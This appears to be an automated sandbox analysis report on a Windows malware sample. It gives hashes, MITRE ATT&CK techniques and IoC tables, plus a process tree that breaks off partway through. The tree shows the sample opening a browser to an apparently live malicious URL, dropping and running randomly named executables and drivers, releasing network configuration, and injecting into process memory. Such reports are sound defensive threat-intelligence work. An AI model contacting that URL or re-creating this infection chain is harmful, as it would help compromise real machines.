7ca894a58d08d058210b67bdc46efefb27ff097b1085c3b1686572787c59e84f

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/08/2026, 07:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe
Size 243KB
Sample260814-jjee2axgrc
SHA256 7ca894a58d08d058210b67bdc46efefb27ff097b1085c3b1686572787c59e84f
MD5 738a1de88d67b7d5d9af60d256b331ed
SHA1 3adaf85f43f53cb3f57829bcb9e46abd093b725a
SHA512 72bb0de00fb86f68fa6380e26250f9d8b7a0b5a9eb852c42684e83d6931e52c1cb81818b25a10386f765f09a8994aea129a88cf5a555d9d38997d1ca17f694f3
SSDEEP 3072:WMaGii9ILTQJh/7yga3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7Y:gGii9IL8Xa3lLNngoqRttA7Y
TLSH
T1AE34490272818031E71A0B74046AE7A146BE7D344FB5E58FF7A83B795A312D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
3104	CP.exe
3648	xvpnhfaxsq.exe
3756	CP.exe
4592	CP.exe
4224	i_xvpnhfaxsq.exe
1784	vpnhfaxsic.sys
5104	CP.exe
3980	cxvpnhfzxs.exe
4520	CP.exe
2448	CP.exe
4296	i_cxvpnhfzxs.exe
2896	zusmkecxup.sys
2328	CP.exe
2728	pmhxrpjhcz.exe
3380	CP.exe
2120	CP.exe
1876	i_pmhxrpjhcz.exe
3860	hczurmkecw.sys
3232	CP.exe
3132	wrpjhbzurm.exe
560	CP.exe
1400	CP.exe
944	i_wrpjhbzurm.exe
3308	gezwrojhbz.sys
1608	CP.exe
4624	ztomgbztrl.exe
3216	CP.exe
4192	CP.exe
3152	i_ztomgbztrl.exe
3256	lgeywqoigb.sys
2024	CP.exe
4708	eytrljeywq.exe
2812	CP.exe
1284	CP.exe
2524	i_eytrljeywq.exe
3304	dywqoigayt.sys
3484	CP.exe
1524	lidbvtnlgd.exe
2268	CP.exe
3024	CP.exe
2356	i_lidbvtnlgd.exe
3748	nigaysqkid.sys
2836	CP.exe
4224	dbvtnlfdyv.exe
4796	CP.exe
3360	CP.exe
2424	i_dbvtnlfdyv.exe
3448	avpnifaysq.sys
5036	CP.exe
4640	qkidavsnlf.exe
1816	CP.exe
2664	CP.exe
1836	i_qkidavsnlf.exe
2672	snkfcxvpnh.sys
1996	CP.exe
3188	hcausmkecx.exe
1940	CP.exe
2392	CP.exe
2952	i_hcausmkecx.exe
4140	pkhcausmke.sys
2208	CP.exe
3152	ausmkecxup.exe
1644	CP.exe
4104	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkidavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkidavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zupmhezxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnigaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxupnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnhfaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztomgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lidbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcausmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztomgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eytrljeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcausmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojhbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtolgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnigaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hczusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hczusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eytrljeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqoigaytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnhfaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zupmhezxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojhbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lidbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausmkecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtolgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqoigaytql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxupnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausmkecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxvpnhfzxs.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4696	ipconfig.exe
404	ipconfig.exe
828	ipconfig.exe
1700	ipconfig.exe
2420	ipconfig.exe
3304	ipconfig.exe
4228	ipconfig.exe
2584	ipconfig.exe
2352	ipconfig.exe
632	ipconfig.exe
3492	ipconfig.exe
4768	ipconfig.exe
4784	ipconfig.exe
4144	ipconfig.exe
1876	ipconfig.exe
3880	ipconfig.exe
3860	ipconfig.exe
4108	ipconfig.exe
2208	ipconfig.exe
4692	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 28 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1780614416"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31271872"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000c3becedaa23b74797d5b45951a5017c0000000002000000000010660000000100002000000024147eb9dc6e938e7e509dd97776240a92805c1d32c175f561458c65fc4dd34f000000000e800000000200002000000077f0f6d84f78610f96db07223adca3677b79970723f3cc40a11824499e4dc850200000000e2d9f917cce3d44f1fa412198bd8463ed642aefe7758f74f4948132b93a00f04000000034e1bdf8e28211c25c31f722155a62b122a198a721018bd6502d139d2ad1e461c1eb87c97cbd1e72adb7e96a8e189efffcda467fe190bd9a6bb8d0d34172207c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 802a8dccc82bdd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{953C8060-97B3-11F1-B40A-EEE306B5526A} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000c3becedaa23b74797d5b45951a5017c00000000020000000000106600000001000020000000efa431e77486416a8f47ca1c47216c0a67cde1ca1a9d26179a373efe867c0c51000000000e800000000200002000000069f4d47443c692fb274dfc7c0f00c3ba0cbe33f4cbf2236cf4addeea6ba3246a20000000ee3fbc61e981c61ffbfaa30a057363fde6660bf62c4e08024d8efc214dd461e040000000ff3a13ffbe8d0b6d8b7baee197004e94d627fb3de7d97f922aa19f2d588b1f63ac505d83823a36c696db0f6fea0872c8e3ebb59a6a63987aebba9d0aaea6d53a	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70c796ccc82bdd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "493458273"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4224	i_xvpnhfaxsq.exe
Token: SeDebugPrivilege	4296	i_cxvpnhfzxs.exe
Token: SeDebugPrivilege	1876	i_pmhxrpjhcz.exe
Token: SeDebugPrivilege	944	i_wrpjhbzurm.exe
Token: SeDebugPrivilege	3152	i_ztomgbztrl.exe
Token: SeDebugPrivilege	2524	i_eytrljeywq.exe
Token: SeDebugPrivilege	2356	i_lidbvtnlgd.exe
Token: SeDebugPrivilege	2424	i_dbvtnlfdyv.exe
Token: SeDebugPrivilege	1836	i_qkidavsnlf.exe
Token: SeDebugPrivilege	2952	i_hcausmkecx.exe
Token: SeDebugPrivilege	4752	i_ausmkecxup.exe
Token: SeDebugPrivilege	4896	i_zupmhezxrp.exe
Token: SeDebugPrivilege	4736	i_ojhbztrmje.exe
Token: SeDebugPrivilege	4768	i_eywqojgbzt.exe
Token: SeDebugPrivilege	4524	i_vtolgdywqo.exe
Token: SeDebugPrivilege	1836	i_vqoigaytql.exe
Token: SeDebugPrivilege	2500	i_qnigaysqki.exe
Token: SeDebugPrivilege	3156	i_kfdxvpnhfa.exe
Token: SeDebugPrivilege	4004	i_fcxupnhfzx.exe
Token: SeDebugPrivilege	2476	i_hczusmkecw.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1160	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1160	iexplore.exe
1160	iexplore.exe
1248	IEXPLORE.EXE
1248	IEXPLORE.EXE
1248	IEXPLORE.EXE
1248	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 456 wrote to memory of 1160	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	84
PID 1160 wrote to memory of 1248	1160	iexplore.exe	85
PID 456 wrote to memory of 3104	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	87
PID 3648 wrote to memory of 3756	3648	xvpnhfaxsq.exe	90
PID 456 wrote to memory of 4592	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	97
PID 456 wrote to memory of 5104	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	108
PID 3980 wrote to memory of 4520	3980	cxvpnhfzxs.exe	110
PID 456 wrote to memory of 2448	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	113
PID 456 wrote to memory of 2328	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	118
PID 2728 wrote to memory of 3380	2728	pmhxrpjhcz.exe	120
PID 456 wrote to memory of 2120	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	123
PID 456 wrote to memory of 3232	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	127
PID 3132 wrote to memory of 560	3132	wrpjhbzurm.exe	129
PID 456 wrote to memory of 1400	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	132
PID 456 wrote to memory of 1608	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	140
PID 4624 wrote to memory of 3216	4624	ztomgbztrl.exe	142
PID 456 wrote to memory of 4192	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	145
PID 456 wrote to memory of 2024	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	149
PID 4708 wrote to memory of 2812	4708	eytrljeywq.exe	151
PID 456 wrote to memory of 1284	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	154
PID 456 wrote to memory of 3484	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	158
PID 1524 wrote to memory of 2268	1524	lidbvtnlgd.exe	160
PID 456 wrote to memory of 3024	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	163
PID 456 wrote to memory of 2836	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	169
PID 4224 wrote to memory of 4796	4224	dbvtnlfdyv.exe	171
PID 456 wrote to memory of 3360	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	174
PID 456 wrote to memory of 5036	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	178
PID 4640 wrote to memory of 1816	4640	qkidavsnlf.exe	180
PID 456 wrote to memory of 2664	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	183
PID 456 wrote to memory of 1996	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	187
PID 3188 wrote to memory of 1940	3188	hcausmkecx.exe	189
PID 456 wrote to memory of 2392	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	192
PID 456 wrote to memory of 2208	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	196
PID 3152 wrote to memory of 1644	3152	ausmkecxup.exe	198
PID 456 wrote to memory of 4104	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	201
PID 456 wrote to memory of 624	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	205
PID 3032 wrote to memory of 3772	3032	zupmhezxrp.exe	207
PID 456 wrote to memory of 4296	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	210
PID 456 wrote to memory of 2828	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	215
PID 4372 wrote to memory of 4672	4372	ojhbztrmje.exe	217
PID 456 wrote to memory of 1980	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	220
PID 456 wrote to memory of 4636	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	224
PID 3220 wrote to memory of 3332	3220	eywqojgbzt.exe	226
PID 456 wrote to memory of 4564	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	229
PID 456 wrote to memory of 2760	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	233
PID 4468 wrote to memory of 3912	4468	vtolgdywqo.exe	235
PID 456 wrote to memory of 2596	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	238
PID 456 wrote to memory of 4960	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	242
PID 1392 wrote to memory of 2900	1392	vqoigaytql.exe	244
PID 456 wrote to memory of 4352	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	247
PID 456 wrote to memory of 4548	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	251
PID 2764 wrote to memory of 1876	2764	qnigaysqki.exe	253
PID 456 wrote to memory of 2584	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	256
PID 456 wrote to memory of 1784	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	258
PID 988 wrote to memory of 176	988	kfdxvpnhfa.exe	260
PID 456 wrote to memory of 1760	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	263
PID 456 wrote to memory of 3052	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	267
PID 400 wrote to memory of 4448	400	fcxupnhfzx.exe	269
PID 456 wrote to memory of 3080	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	272
PID 456 wrote to memory of 2004	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	276
PID 964 wrote to memory of 3776	964	hczusmkecw.exe	278
PID 456 wrote to memory of 4696	456	2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe	281

C:\Users\Admin\AppData\Local\Temp\2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_738a1de88d67b7d5d9af60d256b331ed_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:456
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1160 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1248
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xvpnhfaxsq.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3104
- - C:\Temp\xvpnhfaxsq.exe
    C:\Temp\xvpnhfaxsq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3756
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xvpnhfaxsq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4592
- - C:\Temp\i_xvpnhfaxsq.exe
    C:\Temp\i_xvpnhfaxsq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4224
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\cxvpnhfzxs.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5104
- - C:\Temp\cxvpnhfzxs.exe
    C:\Temp\cxvpnhfzxs.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4520
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_cxvpnhfzxs.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2448
- - C:\Temp\i_cxvpnhfzxs.exe
    C:\Temp\i_cxvpnhfzxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4296
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pmhxrpjhcz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2328
- - C:\Temp\pmhxrpjhcz.exe
    C:\Temp\pmhxrpjhcz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3380
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3492
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pmhxrpjhcz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2120
- - C:\Temp\i_pmhxrpjhcz.exe
    C:\Temp\i_pmhxrpjhcz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wrpjhbzurm.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3232
- - C:\Temp\wrpjhbzurm.exe
    C:\Temp\wrpjhbzurm.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3132
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:560
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1700
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wrpjhbzurm.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1400
- - C:\Temp\i_wrpjhbzurm.exe
    C:\Temp\i_wrpjhbzurm.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:944
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ztomgbztrl.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1608
- - C:\Temp\ztomgbztrl.exe
    C:\Temp\ztomgbztrl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3216
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3860
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ztomgbztrl.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4192
- - C:\Temp\i_ztomgbztrl.exe
    C:\Temp\i_ztomgbztrl.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
